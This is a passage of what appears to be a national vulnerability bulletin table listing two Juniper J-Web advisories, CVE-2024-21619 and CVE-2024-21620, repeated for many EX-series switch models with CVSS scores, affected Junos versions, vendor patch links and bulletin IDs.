			attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives.	https://support.portal.juniper.net/JSA76390	H-JUN-EX46-090224/1668

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex6200					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal	https://supportportal.juniper.net/JSA76390	H-JUN-EX62-090224/1669

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10;	https://support portal.juniper.net/JSA76390	H-JUN-EX62-090224/1670

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex6210					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing	https://support portal.juniper.net/JSA76390	H-JUN-EX62-090224/1671

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX62-090224/1672

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex8200					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access	https://support portal.juniper.net/JSA76390	H-JUN-EX82-090224/1673

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with	https://supportportal.juniper.net/JSA76390	H-JUN-EX82-090224/1674

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex8200-vc					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the	https://supportportal.juniper.net/JSA76390	H-JUN-EX82-090224/1675

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in	https://support portal.juniper.net/JSA76390	H-JUN-EX82-090224/1676

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: ex8208					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file.	https://supportportal.juniper.net/JSA76390	H-JUN-EX82-090224/1677

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:	https://support portal.juniper.net/JSA76390	H-JUN-EX82-090224/1678

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex8216					
Affected Version(s): -					
Generation of Error Message Containing Sensitive	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a	https://support portal.juniper.net/JSA76390	H-JUN-EX82-090224/1679

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Information			Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site	https://supportportal.juniper.net/JSA76390	H-JUN-EX82-090224/1680

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex9200					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-EX92-090224/1681

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited	https://support portal.juniper.net/JSA76390	H-JUN-EX92-090224/1682

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex9204					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the	https://supportportal.juniper.net/JSA76390	H-JUN-EX92-090224/1683

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator.	https://supportportal.juniper.net/JSA76390	H-JUN-EX92-090224/1684

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: ex9208					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific	https://supportportal.juniper.net/JSA76390	H-JUN-EX92-090224/1685

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks	https://support portal.juniper.net/JSA76390	H-JUN-EX92-090224/1686

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex9214					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information.	https://support portal.juniper.net/JSA76390	H-JUN-EX92-090224/1687

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8;	https://support portal.juniper.net/JSA76390	H-JUN-EX92-090224/1688

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex9250					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX92-090224/1689

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-EX92-090224/1690

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex9251					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information.	https://support portal.juniper.net/JSA76390	H-JUN-EX92-090224/1691

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions,	https://supportportal.juniper.net/JSA76390	H-JUN-EX92-090224/1692

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex9253					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then	https://support portal.juniper.net/JSA76390	H-JUN-EX92-090224/1693

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
